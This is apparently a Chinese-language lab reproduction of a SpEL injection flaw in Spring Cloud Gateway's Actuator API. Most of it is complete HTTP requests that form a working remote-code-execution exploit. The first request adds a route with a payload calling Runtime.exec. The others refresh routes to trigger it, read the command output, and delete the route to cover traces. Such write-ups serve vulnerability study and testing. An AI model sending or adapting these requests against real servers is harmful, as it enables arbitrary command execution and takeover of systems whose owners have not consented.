简介
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。
环境
image-20220304104422547
image-20220304104654131
漏洞
首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由：
POST /actuator/gateway/routes/lemonlove7 HTTP/1.1 Host: 192.168.80.138:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 328 { "id": "lemonlove7", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"} }], "uri": "http://example.com", "order": 0 }
image-20220303193629575
然后，发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行：
POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.80.138:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
发送如下数据包即可查看执行结果：
GET /actuator/gateway/routes/lemonlove7 HTTP/1.1 Host: 192.168.80.138:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
最后，发送如下数据包清理现场，删除所添加的路由：
DELETE /actuator/gateway/routes/lemonlove7 HTTP/1.1 Host: 192.168.80.138:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close
使用python脚本进行检测
